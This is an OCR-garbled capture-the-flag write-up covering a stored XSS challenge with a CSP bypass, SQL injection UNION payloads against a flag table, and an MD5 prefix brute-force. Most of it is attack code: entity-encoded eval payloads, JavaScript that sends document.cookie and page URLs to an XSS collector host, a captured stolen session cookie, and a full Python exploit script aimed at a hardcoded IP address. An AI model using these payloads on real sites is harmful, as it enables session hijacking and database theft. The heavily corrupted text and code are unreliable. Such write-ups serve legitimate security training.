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URL | #E@AAEESRMLE. BexEaEE.
substr(md5($str), 0, 6) === “79970d":
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<script>alert(xss)</script>
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<script=alert(xss)</scripts|
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<htmlx>

w <head>
<meta http-egquiv="content-security-policy™ content="default-src "self"'; script-src 'unsafe-inline"' "unsafe-eval'™»
<meta http- "Content-Type™ content="text/html; charset=utf-g"»
<scriptralert (xss) <fscript>

</head>
<body></body>
</html>
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payload_end =
payload = "alert(1)"
for i in payload:

payload_end += "&#" + str(ord(i))
payload_final = "<svg><script>eval&#40&#34" + payload_end + "&#34&#41</script>"
print payload_final
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<svg><script>eval&#408&#348&#97&#1088&#1018&#114&#1168#408#49&#418#348&#41</script>
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http://xss.buuoj.cn/index.php
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(function(){(new Image()).src="http://ip:port/index.php?do=api&id=muZLpT&location="+escape((function(){try{r
eturn document.location.href}catch(e){return ""}})() )+ "&toplocation="+escape((function(){try{return top.loca
tion.href}catch(e){return ""}})())+ &cockie="+escape((function(){try{return document.cockie}catch(e){return
"IH())+ " &opener="+escape( (function(){try{return (window.opener && window.opener.location.href)?window.open
er.location.href:" " }catch{e){return """} (1):100);

if("'==1){keep=new Image();keep.src="http://ip:port/index.php?do=keepsession&id=muZLpT&url="+escape(documen
t.location)+ "&cookie="+escape(document.cookie)};
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payload_end =
payload = "(function(){window.location.href="http://xss.buuoj.cn/index.php?do=api&id=muzLpT&location="+escape((f
unction(){try{return document.location.href}catch(e){return ''}})())+'&toplocation="+escape((function(){try{retu
rn top.location.href}catch(e){return ''}})())+'&cookie="+escape((function(){try{return document.cookie}catch(e){
return ''}})())+'&opener="+escape((function(){try{return (window.opener && window.opener.location.href)?window.o
pener.location.href:'"'}catch(e){return ""}})());})();"
for i in payload:

payload_end += "&#" + str(ord(i))
payload_final = "<svg><script>eval&#40&#34" + payload_end + "&#34&#41</script>"
print payload_final
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<svg><script>eval&#408#348&#40&#102&#117&#110&#99&#116&#105&#1118&#110&#40&#418&#1238#1198#1058#110&#100&#111&#119&
#468#1088&#1118#998&#97&#1168&#1058#1118&#1108#468&#1048&#1148#101&#1028#618#398#1048&#1168#116&#1128#588#478#478&#1208&#
115&#1158#468#988&#1178&#1178#111&#1068#468#998&#1108#478#478#1058&#1108#1008#1018&#1208#468#1128&#1048#112&#63&#1008&#
111&#618&#978&#112&#1058#388#105&#1008#618#1098&#1178&#908#768#112&#84&#388&#1088#111&#99&#978#116&#105&#1118#110&#61
&#39&#438#1018#115&#998&#978&#1128&#1018&#408#408#1028&#1178&#1108#998&#1168&#1058#1118&#1108#408#418&#123&#1168#114&#121&
#123&#1148#101&#1168#1178&#1148&#1108#328#1008#1118#998&#1178&#1098#1018&#1108#116&#46&#1088#111&#99&#978&#1168#105&#1
11&#1108#468#1048&#1148#1018#102&#1258#998#978#1168#998&#1048#408&#1018#418#1238&#1148#1018#116&#1178#114&#1108#328#
39&#39&#1258#1258#41&#40&#418#418#438#398#388#1168#1118#112&#1088#111&#99&#978&#1168#105&#1118#110&#618&#39&#438&#1
01&#1158#998&#978#112&#1018#408#408#102&#1178#1108&#99&#1168#1058&#1118#1108#408#41&#1238#116&#1148#1218#123&#1148#
101&#1168#117&#1148#1108#32&#1168#1118&#1128#468#1088#1118&#998&#978#116&#1058#1118#1108#468#1048#114&#1018#102&#12
58#998#978&#1168#998#1048#40&#1018#418#123&#1148#1018&#1168&#1178#114&#1108#328#398#39&#1258#1258#418&#408#41&#418&#4
38#398&#38&#99&#1118&#1118&#1078&#1058#1018&#618#398&#438#101&#1158#998#978#112&#1018#408#408#1028&#1178#110&#99&#1168&#
105&#1118#110&#408#418#1238#116&#1148#121&#1238#1148&#1018&#1168#1178&#1148#110&#32&#1008#111&#99&#1178#109&#1018&#1
10&#1168#468#998#111&#1118&#1078&#1058#1018#125&#998&#978&#1168&#99&#1048#408#1018&#41&#1238#1148&#1018&#1168#117&#1148#
110&#328#398#398#125&#1258#418#408#418#418&#43&#398#388#1118&#1128&#1018#110&#1018#114&#61&#39&#438&#1018&#115&#998&#9
7&#1128#101&#408#408#1028#1178&#1108#998#116&#1058#111&#1108#408#418#123&#1168#114&#1218#1238#1148&#1018#116&#117&
#114&#1108#328#408#1198#1058#110&#1008#111&#1198#468#1118#1128#1018#110&#1018#114&#32&#388&#388#328#119&#1058#110
&#1008&#1118&#1198#468#1118#1128#1018#110&#1018#1148#46&#1088#1118&#99&#978&#1168#105&#1118#1108#46&#1048#1148&#1018&#
1028&#418#638&#1198&#1058#1108#1008&#1118#119&#468&#1118#112&#1018#1108&#1018&#1148#468#108&#1118#998&#97&#1168#1058&#111
&#1108#468#104&#1148#1018#1028#588#398#398#125&#998&#978#1168#99&#1048#408#1018#41&#1238#1148&#1018&#1168#117&#114&
#110&#328#398#398#125&#1258#418#408#418#41&#59&#1258#418#408#41&#59&#348&#41</script>
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#1118#1078#1058#1018#1258#008#078:4#1168#008#1 04844084101 8#418#1238#1148#1013#1168
#11784#1148#1108#308#308#1258# 1258441 B#408#418#418#438#308#388#1118#1128#1018#110
8#101841148#61 3430844384101 8411584008407 8411284101 8#408H#408#1 028411 78#1108#998H#1
168#1058#111 8811084408441 8412384811684 1148#1218#1238#1148#1018#1168#11 784114841108
#408#1108#1058#1108#1008#1118#1198#468#111 8411284101 8411084101 8#11434#3884#388#1198
#1058#1108#1008#111 88119844684 1118411284101 8811084101 8#1148#468#1088#1113#098#978
#11684#1058#1118#1108#468#1048#1148#101 841028441 8#638#1108#1058#1108#1008#11184#119
B#468#11184#1128#101 8411084101 8411 48446841088#111 8400840784 1168£10584#1118#1108#46&
#1048#1148#10184102345834308 43084008407 841163£0084#1048£40841018#41841238#1148#10
1381168411 78£114881108£3084308#1 25841 258441 82408441 8441 &H50841258#4182408#418#50
8#348#41</scripts]
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RERE:

URL | hitp/220.249.52.133:46565/post/T8bda3dd1914dc611ees070504dfa0b7 . himl

substr(md5($str), 0, 6) === “098842":

ErallE
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import hashlib

for i in range(100000, 10000001):
s = hashlib.md5(str(i).encode()).hexdigest()[0:6]
if s == "098842":
print(i)
break
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RERE:

URL | FEwmAFRERRE. RexEES.

substr(md5($str), 0, 6) === *
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2020-11-10 21:56:37

h9the1™:

location : hitp:/iweb/post/
4d8383c5Hf3dc41d663ab
1c7375addcdc html
toplocation : hitp://web/p
ost/4d8383¢cHf3dc41d663
ab1c7375addcdc html
cookie : PHPSESSID=61

¥ B

» HTTP_REFERER : htt

p:/iweblpost/4d8383cof3
dc41d663ab1c7375addc
4c.html
HTTP_USER_AGENT :
Mozilla/5.0 (X11; Linux x
86_64) AppleWebKit/53

0a38916d125d7ebb6e88 7.36 (KHTML, like Geck
bed27dd930 0) HeadlessChrome/72.
opener 0.3626.121 Safari/537 .36
REMOTE_ADDR : 10.21
8.34.11
BT iX/~cookie
Cookie Editor Show Advanced
~  PHPSESSID
MName
PHPSESSID ‘
Walue
] 610a38916d125d7ebbbe88bed427dd930 J
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-1 union select 1,group_concat(schema_name),3 from information_schema.schemata#
-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='ciscn'#
-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='flag'#

-1 union select 1,group_concat(flagg),3 from flag#

FEAEEgRAFId
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=in

b=
{FERRIAPE: flaglaf96f723-532c-41d9-bd89-262036025892) - 3
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#coding:utf-8

from urllib.parse import unquote
import base64

import sys

import hashlib

import requests

import re

import socket

import traceback

import time

xsslListener = '127.0.0.1°"

def getPayload(evaljs):
payload="'<svg><script>eval&#40String.fromCharCode&#40 '
for i in range(len(evaljs)):
payload+=str(ord(evaljs[i]))
if(i+l<len(evaljs)):
payload+="',"
payload+="&#41&#41 ;"
payload+="</script>"
print("[payload] "+payload)
return payload

def decode(data):
base64.b64decode(data)
unquote(s)

print(s)

S

S



def md5(s):
return hashlib.md5(str(s).encode('utf-8")).hexdigest()

def md5crack(strs):
for i in range(100000,100000000) :

a = md5(1)
if a[0@:6] == strs:
print(i)

return str(i)
def autoCrack(ip,port):
url="http://"+ip+":"+str(port)

evaljs="var iframe=document.createElement("iframe");iframe.src="/admin.php?id=-999 union select 1,2,flagg fr
om flag";document.body.appendChild(iframe);iframe.onload=setInterval(function(){var c=encodeURI(document.getElem
entsByTagName("iframe")[0].contentWindow.document.getElementsByTagName("body")[@0].innerHTML) ;window.location.hre
f="http://'+xssListener+'?flag="+btoa(c)},1000);"

r = requests.session()

loginData={
"username":"abcd",
"password":"123444"

}
r.post(url+"/login.php",data=loginData)

postData={
"post":getPayload(evaljs)
b
rtext = r.post(url+"/post.php",data=postData)

code = re.search(r"src="\./post/(.+)\.html", rtext.text, re.M|re.I).group(1)
print("[code] "+code)

urlBug = url+"/post/"+code+".html"

rtext = r.get(url+"/commitbug.php")
print(rtext.text)
crackCode = re.search(r"===....([a-f0-9]{6})", rtext.text, re.M|re.I).group(1)
print("[crackCode] "+crackCode)
print("[+] cracking....")
check = md5crack(crackCode)
print("[check] " + check)
bugData={
"bug" :urlBug,
"check":check,
)
rtext = r.post(url+"/commitbug.php",data=bugData)
success = "HIJKIE" . encode()
if(success in rtext.content):
print("[+] The response is send to your xsslListener,Please check.")
else:
print("[-] Something error!")

def get_open_port():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(("",0))
s.listen(1)
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s.close()
return port

def recv_timeout(the_socket,timeout=2):
#make socket non blocking
the_socket.setblocking(9)

#total data partwise in an array
total_data=| |
data=""

#beginning time
begin=time.time()
while 1:
#1f you got some data, then break after timeout
if total_data and time.time()-begin > timeout:
break

#1f you got no data at all, wait a Llittle longer, twice the timeout
elif time.time()-begin > timeout*2:

break

#recv something

try:
data = the_socket.recv(8192)
if data:
total_data.append(str(data))
print(total_data)
#change the beginning time for measurement
begin=time.time()
else:
#sleep for sometime to indicate a gap
time.sleep(0.1)
except:
pass

#join all parts to make final string
return ''.join(total_data)

def exp(ip, port):
try:
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.settimeout(15)
server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
open_port = get_open_port()
server.bind(("90.0.0.0", open_port))
server.listen(1)
global xssListener
xssListener="127.0.0.1:" + str(open_port)
print("[+] listening on {}".format(open_port))
autoCrack(ip,port)
client, addr = server.accept()
print('accept connection')
data = recv_timeout(client)
print(data)
result = re.findall(r'/\?flag=(.*?) HTTP/1.1',6data)
print(result)
if result and len(result)==1:
content = unquote(base64.b64decode(result[0]))



print(content)
if content and content.find('flag{') >= 0:
print(content)
return True
return False
except Exception as e:
print(str(e))
# traceback.print_exc()
return False
return False

if __name__ == '__main__":
print(exp('220.249.52.133',50925))
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